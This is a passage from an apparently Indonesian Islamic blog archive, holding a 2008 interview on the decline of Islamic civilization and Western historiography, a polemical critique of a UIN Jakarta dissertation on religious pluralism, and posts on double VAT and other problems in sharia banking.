Mulai dari, pembengkakan pada daerah orofarings, intoksikasi karbon, dehidrasi berat, asidosis, ancaman gagal ginjal, kebocoran kapiler diseluruh tubuh, hingga ancaman sepsis berat akibat infeksi.... semua model symptom menakutkan dan mematikan ada dalam korban ”luka bakar”,

Pantas bila Qur’an menyebut ”pembakaran” adalah model siksaan yang paling pedih, bukan model-model lain seperti (pentungan, pukulan...dsb)

- http://www.quranicstudies.com/printout73.html
- http://www.islam-guide.com/video/tejasen-1-56k.smi

ILLUSTRASI

Professeur Tejasen Embraced ISLAM After Reading The Quran

DISTORSI PERADABAN ISLAM

2008-02-17T16:50:00.001+02:00

Dr. Hamid Fahmy Zarkasyi, MA, MPhil: Sejarah Islam Perlu Dipaparkan dengan Jujur

Umat Islam kini menanti hadirnya kembali peradaban Islam sebagaimana yang pernah terjadi pada masa al-Khulafa’ al-Rasyidah sampai masa khilafah Usmaniyah. Dengan kelebihannya dan kekurangan pada saat itu, peradaban Islam berjaya selama kurang lebih 10 abad dari rentang19 pemerintahan Islam.

Tapi semenjak imperalisme Barat menggerus kaum muslim, peradaban Islam seolah sirna dan tanpa jejak. Barat yang sejatinya dibesarkan dan dipengaruhi oleh peradaban Islam juga menafikan semua itu. Implikasinya umat Islam menjadi terjajah dari berbagai aspek kehidupan.

Adakah yang keliru dari umat Islam dalam merekontruksi sejarahnya? Direktur Institute for The Study Islamic Thought and Civilization (INSIST) Dr. Hamid Fahmi Zarkasyi, MA, MPhil kepada eramuslim menuturkan problem umat Islam saat ini. Hamid adalah doktor bidang peradaban Islam dari Internasional Islamic University, Malaysia dan pengasuh pondok modern Darussalam Gontor, Jawa Timur. Berikut petikannya:

Bicara soal peradaban Islam dan Barat saat ini sebagian orang kemudian merujuk ke peradaban Barat. Bagaimana Anda melihat hal itu?

Kelihatannya begini. Ketika peradaban Barat menjadi unggul itu kemudian sangat menarik bagi sebagian umat Islam. Umat Islam kemudian melihat Barat sebagai peradaban yang ideal. Dan orang Barat sendiri memasukkan konsep-konsep Barat ke dalam orang Islam, yang biasa kita sebut dengan imperalisme. Sehingga orang Islam dengan (kejayaan) masa lalunya, peradaban Islam yang telah dibangun dan terus dilanjutkan.

Kata peradaban sendiri sekarang ini telah berubah maknanya, dan diganti dengan civilization. Orang Islam sendiri lebih senang dengan istilah civil society daripada masyarakat madani. Atau orang Islam menyamakan antara civil society dengan masyarakat madani. Padahal keduanya itu berbeda secara konseptual. Itulah karena orang Islam tidak menghargai atau lupa dengan membangun peradaban Islam lagi.

Kita harus merujuk khazanah Islam di masa lalu bagaimana mereka bisa membuat sebuah peradaban yang tangguh dan bisa mempengaruhi peradaban lain. Ini yang harus menjadi pelajaran orang Islam sekarang. Dan sejarah ini perlu diungkap kembali, karena sejarah itu ditutup-tutupi oleh Barat agar umat Islam tidak ingat bahwa mereka pernah berjaya dan memberikan sumbangan peradaban Islam terhadap peradaban Barat, sehingga Barat menjadi peradaban yang tangguh seperti saat ini.

Yang paling jelas ketika mereka dalam kegelapan dan menjadi abad pencerahan karena mereka bersentuhan dengan peradaban Islam. Ini yang perlu diungkap kembali oleh umat Islam.

Bagaimana umat Islam bisa mengingat kembali dan mengembalikan masa kejayaan itu?

Nah, ini yang perlu menjadi kajian peradaban Barat. Karena kalau orang mengkaji sejarah sains peradaban Barat, saintis atau ilmuan Muslim tidak disebutkan di situ.

Jadi sengaja ada pengaburan oleh Barat?

Iya. Sengaja ada pengkaburan. Ibnu Sathir itu seorang astronom yang kualitasnya tidak kalah dengan Galilie Galileo dan Copernicus. Tapi mereka ini tidak pernah diungkap dalam teks-teks buku sekolah atau kuliah bahwa mereka ini berhutang kepada Ibnu Sathir. Ini ditutupi seolah Barat maju dengan sendirinya. Ini artinya mereka menyembunyikan fakta ini. Ketika mereka menyebut sains Barat tidak pernah menyebut sains Muslim. Ini berbeda dengan sejarah Islam. Ketika kita belajar sains Islam, kita juga menyebut sains Barat.

Kenapa mereka bersikap seperti itu? Soal teologis ideologis atau karena soal apa?
Itu karena prejudice.

Maksudnya?
Begini, mereka itu tidak ingin umat Islam kembali kepada masa kejayaannya. Sebab, kalau kaum muslimin jaya lagi maka Barat hancur. Begitu logikanya. Jadi menurut mereka umat Islam jangan sampai jaya lagi. Makanya dalam buku When Religion Be Come Will karya Charles Chimbell itu mengatakan, agama yang mengingingkan sebagai sebuah peradaban itu jahat.

Sudah menjadi prasyarat kemajuan peradaban adalah nilai-nilai spiritual. Tapi ini dinegasikan oleh Barat. Dan kenyataannya mereka kini unggul. Menurut Anda bagaimana?
Begini. Unggulnya Barat dengan Islam itu berbeda. Unggulnya Islam itu ditambah dengan berkah dan rahmat. Berbeda dengan Barat yang kering dari nilai-nilai ruhani seperti kondisi dunia saat ini.

Sebagai judgment atau klaim tentang keorisinilan peradaban Barat, mereka menyatakan peradaban Barat berasal dari Yunani. Atau melalui proses Helenisme. Betulkah demikian?
Mereka tidak bisa menafikan bahwa tanpa orang Islam mereka tidak mengenal budaya Yunani. Ini satu yang ditutup-tutupi. Fakta bahwa mereka menerjemahkan dari bahasa Arab itu ditutupi. Mereka mengklaim ada terjemahan dari Yunani ke Latin. Itu ada, tapi tidak sebanyak terjemahan dari bahasa Yunani ke Arab, karena saat itu bahasa Yunani sudah dialihbahasakan ke bahasa Syiriac.

Para orientalis membuat sebuah teori bahwa peradaban Barat banyak dipengaruhi oleh Yunani. Yunani sendiri itu Barat, karena berada di Barat. Orang Barat ingin menunjukkan kehebatan mereka. Menurut mereka Islam adalah bagian dari peradaban Barat karena prose Helenisme itu.

Padahal, Islam itu peradaban yang bersumber dari Al-Qur’an dan Hadis yang kemudian menjelma jadi ilmu dan diambil oleh Barat. Seperti trasisi ilmu hadis itu tidak kaitannya dengan helenisme. Dia punya tradisi sendiri. Orang Barat ingin mengkait-kaitkan itu. Misalnya, mereka mengklaim filsafat dari Yunani, ilmu Kalam dari Yunani, Fiqh dari Yunani. Ini mereka mengangagap superioritas.

Begitu juga ketika orang India kalau menyusun sejarah akan menyebut Barat dari peradaban India. Karena itu seharusnya ketika orang Islam menyusun sejarahnya harus menyatakan, sumber peradaban Persia, India, Mesir dan Barat dari Islam. Ini karena kemajuan Barat dihasilkan oleh peradaban Islam. Tapi, orang Barat tidak mengakui itu.

Apakah ketika para ilmuan Muslim menerjemahkan karya-karya pemikir Yunani ke dalam bahasa arab juga terjadi Islamisasi?
Itu bisa saja terjadi. Misalnya soal astronomi. Astronomi oleh ilmuan Muslim tidak sekadar melihat bidang-bidang, tapi terkait dengan ilmu Falak. Lalu sains teknologi dalam Islam digunakan untuk kemakmuran, bukan untuk eksploitasi besar-besaran seperti yang terjadi di Barat. Kemajuan peradaban Barat yang sekular itu tidak bisa menghasilkan kemakmuran dunia, tapi melahirkan ketimpangan. Teknologi timpang, ekonomi timpang, pendidikan mereka menjadikan orang-orang tidak bermoral. Berbeda dengan Islam. Kita mengembangkan teknologi untuk kemakmuran masyarakat. Bertahun-tahun itu orang Spanyol menikamti kemajuan perabadan Islam.

Demikian pula di India, Mesir dan Persia. Di Spanyol itu ada Islam dan Kristen berdampingan ketika Islam berkuasa di sana. Tidak peperangan di sana atas nama agama di sana. Tapi sekarang lihat. di dalam Kristen sendiri terjadi peperangan. Apalagi Kristen dengan Islam sampai terjadi perang Salib. Itulah bedanya peradaban yang merahmati dengan peradaban yang memberi petaka.

Mereka menyatakan ilmu itu netral alias bebas nilai. Tapi kenapa mereka takut dengan kemajun ilmu-ilmu Islam. Apakah ketakutan itu karena khilafah?
Begini, peradaban itu bermula dari kekuasaan. Itu yang mereka takutkan. Orang Islam dapat membangun peradaban kalau punya kekuasaan. Asumsi itu bisa betul. Karena kalau pemerintahan politik tidak stabil dan ekonomi dihancurkan, maka ilmu itu tidak jalan. Kalau mau jalan, politik harus dikuatkan, ekonomi dikuatkan, maka ilmu pengetahuan mesti berkembang. Tapi, orang Barat tidak mau.

Melihat fakta di atas artinya perlu pelurusan sejarah?
Kita perlu meluruskan sejarah. Itu lebih obyektif dan faktual dibanding apa yang ditutup-tutupi orang Barat.

Langkahnya seperti apa? Pasalnya banyak buku sejarah Islam dan lainnya sudah mereka tulis dengan versi mereka.

Yang paling real adalah menyusun sejarah peradaban Islam yang di dalamnya kajian fakta-fakta kemajuan Islam dimasukkan. Selain itu, buku sejarah Barat mestinya juga ditulis oleh orang Islam.

Belum ada yang melakukan hal itu?
Belum ada. Yang sudah menulis itu Prof. Ackparsalan, tapi bukunya belum diterbitkan. Dia membuat dan melacak sejarah Barat itu sejatinya dari mana, dan ia membuatnya dengan framework Islam.

Ribuan perguruan tingggi Islam belum ada yang menempuh langkah itu? Sebut saja misalnya Al-Azhar tidak ada kepentingan untuk itu?
Bukan tidak ada kepentingan, tapi tidak ada ilmu untuk itu. Dan ilmu butuh kesadaran dan ilmu tersendiri. Selain itu, saintis Muslim yang komitmen dengan Islamic science itu jarang. Ini karena dari sisi frameworknya terpengaruh oleh orientalis. Susahnya perkembangan sains Islam di situ.

Di tengah harapan agar peradaban Islam hadir kembali ke puncak, di sisi lain Islamic Studies di kampus-kampus seperti UIN, IAIN, STAIN dan semacamnya justru mengalami penurunan peminat. Fakultas keIslaman tak layak jual lagi. Ini bagaimana?
Ini pengaruh dari sistem pendidikan yang sekularistik dan dualistik itu. Pendidikan hanya dilihat sebagai pencapaian kemakmuran material. Makanya, kajian agama yang dianggap tidak ada dampak materialnya ditinggalkan. Mestinya orang yang belajar di universitas Islam, mau belajar sosiologi, politik, teknologi, komputer, dan sebagainya harus juga belajar Islam dengan framework Islam. Ini harus dicermati, bahwa kajian ilmu pengetahuan sekuler itu lebih dominan.

Karena itu harus ada rekontruksi fakultas. Kaitannya dengan pengembangan peradaban Islam, maka harus dimulai dari konsep ilmu dan agama. Kita perlu mengkombinasikan ilmu-ilmu tradisional Islam dengan ilmu-ilmu modern. Siapapun yang belajar ilmu modern harus belajar ilmu-ilmu tradisional secara mendasar, dan tidak harus seperti ulama. Orang yang belajar fisika harus eblajar ilmu Kalam, orang yang belajar ekonomi, harus belajar Syari’ah. Orang yang belajar hukum harus menguasai hukum-hukum syari’ah. Yang terjadi saat ini sarjana hukum UIN, Gajah Mada, dan di universitas Muhammadiyah itu sama saja.

Bukankah saat ini beberapa UIN atau IAIN ingin melakukan integrasi keilmuan?

Integrasi yang ditempuh mereka itu mendekatkan atau memasukkan konsep-konsep dan ilmu-ilmu asing sebagai metodologi memahami Islam. Kemudian produk yang muncul tentu tidak kompatibel dengan Islam. Kalau pendekatannya salah, maka hasilnya juga salah.

Sebagaimana diketahui, banyak tuduhan yang menyebutkan UIN/IAIN sebagai sarang pemikiran Barat. Kenapa INSIST misalnya tidak mendekati untuk meluruskan mereka?
Mereka itu komunitas yang besar. Lalu mereka juga ada semacam self confidence, karena merasa punya otoritas. Misalnya, kasus di UIN Bandung yang ada mahasiswa mengatakan, ” anjinghu akbar.” Dekannya mengatakan, yang mengeritik itu siapa. Kami S3 dan tahu masalahnya. Forum Umat Islam (FUI) itu siapa. Jadi mereka ada arogansi. Kalau INSIST melakukan hal itu, kasunya seperti FUI.

Mereka tidak begitu saja menerima kritik dan masukan kita. Yang kita kerjakan saat ini adalah menawarkan kepada perguruan tinggi yang bisa diajak kerjasama sehingga jelas apa yang kita hasilkan. Apa yang dilakukan UIN/IAIN sendiri tidak jelas. Masalah lain, mereka mendukung sekularisme, kita menentang. (dina)

”Tragedi Keilmuan di UIN Jakarta” -----> Abd. Muqsith adalah MUFASSIR TANPA ILMU TAFSIR

2008-02-05T09:50:00.002+02:00

”Tragedi Keilmuan di UIN Jakarta”

Oleh : Redaksi 04 Feb 2008 - 10:30 pm

Oleh : Adian Husaini.
Tokoh liberal lulus doktor bidang tafsir. Disertasinya banyak ”mengakal-akali Al-Quran”, tapi dosen UIN hanya ‘bengong’.

Majalah Gatra edisi 23 Januari 2008 lalu memuat sebuah berita yang sebenarnya terlalu penting untuk dilewatkan. Judulnya: ”Jembatan Ayat Keras dan Lunak” Berita itu menceritakan seputar kontroversi isi disertasi Abd. Moqsith, tokoh Jaringan Islam Liberal (JIL), di Universitas Islam Negeri (UIN) Syarif Hidayatullah Jakarta. Dengan disertasi yang diuji pada 13 Desember 2007 itu, maka Abd Moqsith – yang suka menambah namanya menjadi Abd Moqsith Ghazali – dinyatakan oleh UIN Jakarta telah berhak menyandang gelar Doktor dalam bidang Ilmu Tafsir Al-Quran.

Disertasi Abd Moqsith yang berjudul, ”Perspektif Al-Quran tentang Pluralitas Umat Beragama” dibimbing oleh Prof. Dr. Nasaruddin Umar, M.A (Dirjen Bimas Islam dan guru besar ilmu tafsir di UIN Jakarta) dan Prof. Dr. Komaruddin Hidayat (Rektor UIN Jakarta). Bertindak sebagai penguji adalah Prof. Dr. Azyumardi Azra (Ketua Sidang dan juga Direktur Pasca Sarjana UIN Jakarta), Prof. Dr. Komaruddin Hidayat, Prof. Dr. Nasaruddin Umar, Prof. Dr. Kautsar Azhari Noer, Prof. Dr. Suwito, Prof. Dr. Mulyadhi Kartanegara, Prof. Dr. Zainun Kamal dan Prof. Dr. Salman Harun.

Melihat tema yang dibahas dalam disertasi Abd. Moqsith tersebut, harusnya para ahli tafsir di Indonesia tertarik untuk menyimaknya. Apalagi kasus ini sudah terangkat di media massa. Namun, faktanya, respon terhadap disertasi itu sepertinya dingin-dingin saja. Padahal, ini menyangkut masalah Al-Quran, kalam Allah, dan penafsirannya.

Menurut Gatra, disertasi ini memadukan tiga metode; tafsir maudhu’i (tematik), hermeneutika, dan ushul fikih. Tafsir maudhu’i untuk mengelompokkan kata kunci. Karena tafsir model ini kerap terjebak mengisolasi teks dan konteks, maka, dilengkapilah dengan hermeneutika. Motode ini berfungsi menemukan pesan universal ayat dengan memperhatikan kondisi objektif masyarakat tempat lahirnya ayat. Karena hermeneutika tak mampu menjangkau analisis dan kalimat dari sudut gramatika, dilengkapilah dengan ushul fikih. Ushul fikih membantu mengetahui kedudukan ayat serta bagaimana mesti dipahami sudut dalalat-nya (penunjukkan makna).

Dalam konklusinya, Moqsith menjembatani ayat toleran dan intoleran dengan membuat kategori ayat ushul (pokok) dan fushul (cabang, rinci). Ayat toleran disebut ushul, bersifat dan berlaku universal. Ayat ushul ini menunjukkan sikap teologis Al Quran. Sementara itu kelompok ayat intoleran adalah ayat fushul, yang bersifat situasional. Implementasi ayat fushul, misalnya ayat perang, harus tetap dengan naungan ayat ushul, misalnya prinsip tiada paksaan beragama. Maka perang tetap dengan etika, terlarang merusak tempat ibadah, membunuh kaum perempuan dan memaksa lawan masuk Islam.

“Disertasi ini telah melakukan terobosan, “ puji Prod Dr. Azyumardi Azra, Direktur Sekolah Pascasarjana UIN Jakarta yang memimpin sidang ujian terbuka.

“Kekuatan disertasi ini terletak pada penguasaan yang dalam terhadap khazanah Islam klasik, “ Azyumardi menambahkan. “Banyak orang bicara toleransi, tapi tak banyak yang punya sumber bacaan kuat dalam literatur klasik.”

Pembimbing disertasi ini, Prof. Dr. Nasaruddin Umar, memuji disertasi ini telah mengungkap banyak informasi baru dalam literatur berbahasa Indonesia, seputar tema relasi antar-agama. Meski dalam literatur Arab hal itu terhitung barang lama. Sementara kritik panjang datang dari Prof. Dr. Salman Harun. Konon baru kali ini di UIN Jakarta ada penguji yang sampai membuat kritik tertulis ketika menguji. Salman menyebut Moqsith salah memahami penggalan buku Nawawi Al-Jawi (1813-1899) tentang bisa tidaknya non-muslim masuk surga. Moqsith dinilai tak utuh mengutip Ibnu Katsir (1300-1373). Menurut Salman, dua ulama itu berkesimpulan hanya Muslim yang masuk surga. Tapi Moqsith menyimpulkan, non muslim juga bisa. Salman khawatir disertasi ini akan memperkuat tuduhan sebagian kalangan bahwa UIN adalah tempat kristenisasi.

Demikian petikan berita Majalah Gatra seputar kontroversi disertasi doktor Abd Moqsith. Di berbagai media internet, banyak ditemukan puji-pujian terhadap Abd Moqsith.

Karena ini menyangkut bidang keilmuan Islam, khususnya bidang Ilmu Tafsir Al-Quran, maka saya pun tertarik untuk membaca disertasi tersebut. Kita dituntut untuk bersikap adil dalam menilai segala sesuatu, meskipun dengan orang yang berbeda pendapat. Jika memang pendapatnya benar, maka harus diterima. Jika memang keliru, maka perlu diluruskan.

Jika ditelaah, disertasi Abd Moqsith itu cukup tebal, lebih dari 300 halaman. Referensinya juga cukup kaya. Bahasanya pun enak di baca, mengalir lancar. Tampak, penulisnya adalah seorang yang cukup profesional dalam olah kata. Tanpa menafikan sejumlah kelebihan disertasi ini, jika kita telaah secara mendalam, ditemukan sejumlah problema yang sangat mendasar, yang seharusnya menjadi perhatian para pembimbing dan penguji, sebelum disertasi ini diluluskan.

Disebutkan, tujuan penulisan disertasi ini adalah (1) mengetahui pandangan dan sikap Al-Quran tentang pluralitas umat beragama, (2) mengetahui tafsir yang diberikan para ulama terhadap teks-teks yang terkait dengan pluralitas umat beragama, dan (3) menyusun tafsir ayat-ayat Al-Quran yang lebih relevan dengan konteks zaman yang semakin plural dari sudut agama, terutama mengontekstualisasikan ayat-ayat Al-Quran yang secara literal-skripturalistik berseberangan dengan semangat toleransi dan penghargaan terhadap umat agama lain.

Dari tujuan ketiga itulah, kita sudah bisa menangkap maksud penulis disertasi ini. Dalam bahasa mudahnya, penulis disertasi ini ”membuat tafsir baru” atau”merekayasa penafsiran” ayat-ayat yang dianggapnya ”tidak toleran”, ”tidak pluralis”, atau ”kurang menghargai agama lain”. Untuk ayat-ayat seperti ini, penulis berusaha sekuat tenaga, keluar dari makna teksnya, dan mencari-cari makna lain. Tetapi, untuk ayat-ayat yang dianggapnya pluralis, maka penulis disertasi ini mati-matian menggunakan metode tekstual-skripturalistik yang kaku.

Ini bisa dilihat, misalnya, ketika penulis membahas tentang ”Pengakuan dan Keselamatan Umat non-Muslim”, maka dia sudah membuat asumsi:

”Agama yang satu tak membatalkan agama yang lain, karena setiap agama lahir dalam konteks historis dan tantangannya sendiri. Walau begitu, semua agama terutama yang berada dalam rumpun tradisi abrahamik mengarah pada tujuan yang sama, yakni kemaslahatan dunia dan kemaslahatan akhirat. Dengan memperhatikan kesamaan tujuan ini, perbedaan eksoterik agama-agama mestinya tak perlu dirisaukan.” (hal. 189).

Penulis liberal ini lalu mengutip sejumlah ayat Al-Quran yang dikatakannya merupakan bukti pengakuan Al-Quran terhadap eksistensi dan kebenaran kitab-kitab sebelum Islam, seperti QS 5:44, 46-47, dan 66. Lalu, dia membuat kesimpulan sendiri:

”Ayat tersebut memberikan pengakuan terhadap umat Yahudi dan Nashrani; mereka cukup menjadikan kitab suci masing-masing sebagai sandaran moral mereka. Ditegaskan, sekiranya mereka berpaling dari kitab sucinya, mereka adalah kafir dan fasik. Dengan demikian, jelas bahwa Islam tak memaksa agar mereka menjadikan Al-Quran sebagai rujukan kaum Yahudi dan Nashrani. Inilah bentuk pengakuan terbuka dari Islam terhadap agama lain. Bagi umat Islam, percaya terhadap kitab-kitab Allah menjadi bagian dari enam rukun iman dalam Islam. Sekurangnya, umat Islam mengimani empat kitab Allah, yaitu Zabur, Taurat, Injil, dan Al-Quran.” (hal. 191).

Kita sebenarnya geli membaca kesimpulan penulis disertasi ini. Terlalu mudah untuk melihat kelemahan kesimpulan tersebut. Al-Quran memang memerintahkan umat Islam beriman kepada kitab-kitab yang diturunkan kepada para Nabi dan Rasul Allah. Tetapi, Al-Quran juga menjelaskan, bahwa kaum Yahudi dan Nasrani telah mengubah-ubah (melakukan tahrif) kitab mereka sendiri.

Misalnya, QS 2:75 menyebutkan: ”Apakah kamu masih mengharapkan mereka beriman kepadamu, padahal segolongan dari mereka mendengar firman Allah, lalu mereka mengubahnya setelah mereka memahaminya, sedang mereka mengetahui.” Juga, disebutkan dalam QS 2:79: ”Maka kecelakaan yang besarlah bagi orang-orang yang menulis al-Kitab dengan tangan mereka sendiri, lalu dikatakannya: ”Ini dari Allah,” (dengan maksud) untuk memperoleh keuntungan yang sedikit dengan perbuatan itu. Maka kecelakaan besarlah bagi mereka, akibat yang ditulis oleh tangan mereka sendiri, dan kecelakaan besarlah bagi mereka, akibat dari apa yang mereka kerjakan.”

Karena itulah, jelas umat Islam saat ini tidak diwajibkan untuk beriman kepada Bibel Yahudi, Talmud, atau Bibel Kristen. Sebab, dalam pandangan Al-Quran, kitab-kitab suci para Nabi itu sudah diubah-ubah oleh sebagian pengikutnya, sehingga bercampur aduk antara yang asli dengan yang tambahan. Mestinya, penulis disertasi ini dengan jujur mengungkap ayat-ayat Al-Quran tersebut. Dan mestinya pula, para profesor UIN yang menguji disertasi itu juga melihat kekeliruan yang sangat mendasar ini.

Tapi, karena sejak awal, disertasi ini ditulis untuk ”mengakal-akali Al-Quran” agar sesuai dengan asumsi-asumsinya, maka fakta-fakta semacam ini bisa dijumpai di banyak bagian lainnya. Misalnya, asumsi penulis yang menyatakan:

”secara eksplisit Al-Quran menegaskan bahwa siapa saja – Yahudi, Nashrani, Sabi’in, dan lain-lain – yang menyatakan hanya beriman kepada Allah, percaya akan Hari Akhir, dan melakukan amal saleh, tak akan pernah disia-siakan oleh Allah. Mereka akan mendapatkan balasan yang setimpal atas keimanan dan segala jerih payahnya.” (hal. 192).

Dalam beberapa kali catatan, kita sudah membahas makna QS 2:62 dan 5:69, dan bagaimana kaum Pluralis berusaha memanipulasi makna ayat ini. Termasuk bagaimana mereka memanipulasi pendapat para ulama, terutama Tafsir al-Manar. Dalam disertasinya ini, penulis lebih vulgar lagi dalam membuat kesimpulan, dengan berpegang kepada bunyi teks ayat itu dan menafikan penafsiran para ulama. Katanya:

”Jika diperhatikan dengan seksama, maka jelas bahwa dalam ayat itu tak ada ungkapan agar orang Yahudi, Nashrani, dan orang-orang Shabi’ah beriman kepada Nabi Muhammad. Dengan mengikuti bunyi harafiah ayat tersebut, maka orang-orang beriman yang tetap dalam keimanannya, orang-orang Yahudi, Nashrani, dan Shabi’ah yang beriman kepada Allah dan Hari Akhir serta melakukan amal shaleh – sekalipun tak beriman kepada Nabi Muhammad, maka mereka akan memperoleh balasan dari Allah. Pernyataan agar orang-orang Yahudi, Nashrani, dan Shabi’ah beriman kepada Nabi Muhammad adalah pernyataan para mufasir dan bukan ungkapan Al-Quran. Muhammad Rasyid Ridla berkata, tak ada persyaratan bagi orang Yahudi, Nashrani, dan Shabi’ah untuk beriman kepada Nabi Muhammad.” (hal. 194-195).

Membaca kesimpulan penulis liberal ini pun kita dibuat geli dan sekaligus prihatin. Biasanya kaum liberal selalu menyebut kaum fundamentalis sebagai kaum tekstualis, literalis, skripturalis, dan sebagainya. Tapi, ketika mereka bertemu dengan ayat Al-Quran yang mendukung pendapat mereka, ternyata mereka pun berpegang pada metode literalis. Cara ini mengingatkan kita pada cara negara-negara tertentu yang rajin meneriakkan demokrasi. Tapi, ketika demokrasi menghasilkan penguasa yang tidak sejalan dengan politik mereka, maka mereka pun menolak demokrasi dan mendukung kediktatoran.

Jika ditelaah dengan seksama pendapat Rasyid Ridla dalam Tafsir al-Manar, maka akan kita temukan, bahwa QS 2:62 dan 5:69 adalah membicarakan keselamatan Ahlul Kitab yang risalah Nabi Muhammad saw tidak sampai kepada mereka. Karena itu, mereka tidak diwajibkan beriman kepada Nabi Muhammad saw. Sedangkan bagi Ahli Kitab yang dakwah Islam sampai kepada mereka, menurut Rasyid Ridla, maka sesuai QS 3:199, ada lima syarat untuk keselamatan mereka. Diantaranya, (1) beriman kepada Allah dengan iman yang benar, yakni iman yang tidak bercampur dengan kemusyrikan dan disertai dengan ketundukan yang mendorong untuk melakukan kebaikan, (2) beriman kepada Al-Quran yang diwahyukan kepada Nabi Muhammad.

Sayang sekali, sebagaimana perilaku sejumlah kaum Pluralis Agama, penulis disertasi ini pun tidak benar dan tidak fair dalam mengutip pendapat-pendapat Rasyid Ridla. Padahal, dalam soal ini, Nabi Muhammad saw sudah menegaskan:

”Demi Allah, yang diriku ada dalam genggaman tanganNya, tidaklah mendengar dari hal aku ini seorangpun dari ummat sekarang ini, baik Yahud, maupun Nasrani, kemudian mereka tidak mau beriman kepadaku, melainkan masuklah dia ke dalam neraka.” (HR Muslim).

Karena itu, sejalan dengan Prof. Salman Harun, saya juga keheranan, bagaimana mungkin para Profesor pembimbing dan penguji disertasi ini sampai melewatkan kekeliruan-kekeliruan yang sangat mendasar semacam ini. Masih banyak sekali data, metodologi, dan analisa yang perlu dipertanyakan dalam disertasi ini. Ada beberapa kemungkinan mengapa para penguji meloloskan disertasi ini: mungkin mereka tidak membaca dengan cermat; mungkin mereka tidak paham; atau mungkin mereka memang setuju dengan penulisnya. Wallahu A’lam.

Yang jelas, menurut saya, kasus disertasi ini merupakan suatu ”Tragedi Keilmuan” di UIN Jakarta. Apa yang bathil, sesat, dan keliru, dilegitimasi oleh sejumlah guru besar bidang agama. Lebih merupakan tragedi dan musibah lagi bagi umat ini, jika para doktor dan pakar-pakar Al-Quran yang berjubel di UIN Jakarta hanya berdiam diri dan ”bengong saja” menghadapi kasus semacam ini.

Tapi, apa pun, kita patut mengucapkan selamat dan salut atas usaha Abd Moqsith sampai meraih gelar Doktor bidang Ilmu Tafsir. Anak yang cerdas ini telah mencapai prestasi yang tidak kecil. Dia telah bekerja keras menghasilkan sebuah disertasi doktor, apa pun kondisinya.

Bagi kita, ini adalah pelajaran yang berharga: bahwa untuk menyesatkan manusia pun perlu kerja keras dan sungguh-sungguh. Kini, kita menunggu dari kalangan cendekiawan Muslim untuk membuat karya-karya ilmiah yang benar dan jauh lebih baik dari apa yang telah dihasilkan Abd Moqsith dan tokoh-tokoh liberal lainnya. Wa jaadilhum billati hiya ahsan.

Kita wajib melakukan upaya yang sungguh-sungguh dalam menyikapi setiap penyimpangan dan kemunkaran ilmu. Tapi, kita tidak perlu risau. Kita sekedar menjalankan kewajiban amar ma’ruf nahi munkar. Sebab, Al-Quran adalah wahyu Allah SWT. Al-Quran adalah milik Allah. Dan kita yakin, Allah punya cara sendiri untuk bertindak menjaga dan membuat perhitungan terhadap orang-orang yang berusaha merusak Kitab-Nya. [Depok, 1 Februari 2008/www.hidayatullah.com]

Pajak Sistem Syariah

2008-02-05T09:46:00.000+02:00

Pajak Sistem Syariah

“Pemerintah akan segera memperbaiki sistem keuangan dan perbankan syariah. Perbaikan yang dijanjikan meliputi penghapusan pajak ganda dalam transaksi perbankan syariah dan Rancangan Undang-undang Surat Berharga Syariah Negara atau Sukuk”. Ini saya kutip dari Koran Kompas tanggal 9 Januari 2008.

Yang dimaksud pajak ganda ini adalah pengenaan dua kali untuk Pajak Pertambahan Nilai atas setiap transaksi pinjaman yang dilakukan oleh perbankan syariah. Kenapa ini bisa terjadi ?

Sistem pinjaman yang digunakan oleh perbankan syariah adalah dengan tidak memberikan uang tunai kepada peminjamnya, akan tetapi mendasarkan diri pada prinsip jual beli.
Contohnya begini,

jika si Fulan ingin meminjam uang ke perbankan syariah untuk melakukan pembelian mobil, maka perbankan syariah akan membeli mobil tersebut kemudian menjualnya lagi ke Fulan. Dan si Fulan akan membayar mobil tersebut dengan cara angsuran ke perbankan syariah.

Ini berbeda dengan sistem yang dilakukan oleh perbankan konvensional, karena perbankan konvensional langsung memberikan sejumlah uang kepada Fulan untuk dibelikan mobil.

Dengan sistem yang dilakukan perbankan syariah tersebut, seolah-oleh terjadi dua kali pembelian, yaitu yang dilakukan oleh perbankan syariah ketika membeli mobil kepada dealer dan juga yang pembelian yang dilakukan oleh Fulan kepada perbankan syariah.

Padahal dalam UU perpajakan disebutkan bahwa setiap transaksi jual beli untuk Barang Kena Pajak akan dikenakan Pajak Pertambahan Nilai (PPN), sehingga dalam system perbankan syariah akan dua kali dikenakan PPN, yaitu ketika perbankan syariah membeli mobil dari dealer dan ketika fulan membeli mobil tersebut dari perbankan syariah, sementara jika dalam perbankan konvensional hanya dikenakan sekali, yaitu ketika si fulan membeli mobil dari dealer saja.

Ini jelas tidak adil, karena pada dasarnya transaksi yang digunakan oleh perbankan syariah bukanlah sebuah jual-beli, tetapi sebuah produk pembiayaan yang mempunyai model jual-beli.
Jadi kalau memang akan dikeluarkan lagi aturan khusus mengenai perbankan syariah ini sangatlah tepat, karena jika hal ini terus diberlakukan akan sangat tidak adil bagi perbankan syariah dalam berkompetisi dengan perbankan konvensional.

Tapi sebenarnya ada juga aturan yang dikeluarkan oleh Direktorat Jenderal Pajak yang telah memahami system syariah ini, misalnya Peraturan Menteri Keuangan nomor : 36/PMK.03/2007, tanggal 11 April 2007, yang antara lain mengatur untuk membebaskan PPN atas penyerahan Rumah Sederhana, Rumah Sangat Sederhana, Rumah Susun Sederhana, Pondok Boro, Asrama Mahasiswa dan Pelajar serta Perumahan Lainnya yang perolehannya, secara tunai ataupun dibiayai melalui fasilitas kredit bersubsidi maupun tidak bersubsidi, atau melalui pembiayaan berdasarkan prinsip syariah.

Problematika Perbankan Syariah

2008-02-05T09:38:00.000+02:00

Problematika Perbankan Syariah

Oleh: Irfan Syauqi Beik, Msc

Kalau kita persentasekan, maka volume usaha perbankan syariah baru mencapai angka 0,23 % (Sumber : Biro Perbankan Syariah BI). Walau demikian, prospek perbankan syariah kedepannya sangat cerah, apalagi mengingat pangsa pasarnya yang sangat besar. Sehingga wajar jika kemudian banyak bank-bank konvensional yang membuka cabang syariah secara langsung maupun melalui konversi cabang-cabang konvensionalnya menjadi cabang syariah. Sementara di tingkat kecamatan, kita pun memiliki puluhan BPRS yang telah beroperasi di seluruh wilayah Indonesia. Fenomena perkembangan perbankan syariah ini merupakan sebuah fenomena yang sangat menarik dan unik, karena fenomena ini terjadi justru di saat kondisi perekonomian nasional berada pada keadaan yang mengkhawatirkan. Meskipun kalau dilihat dari volume usaha perbankan syariah jika dibandingkan dengan total keseluruhan volume usaha perbankan nasional, maka nilainya masih relatif kecil, yaitu sebesar 2,5 trilliun rupiah. 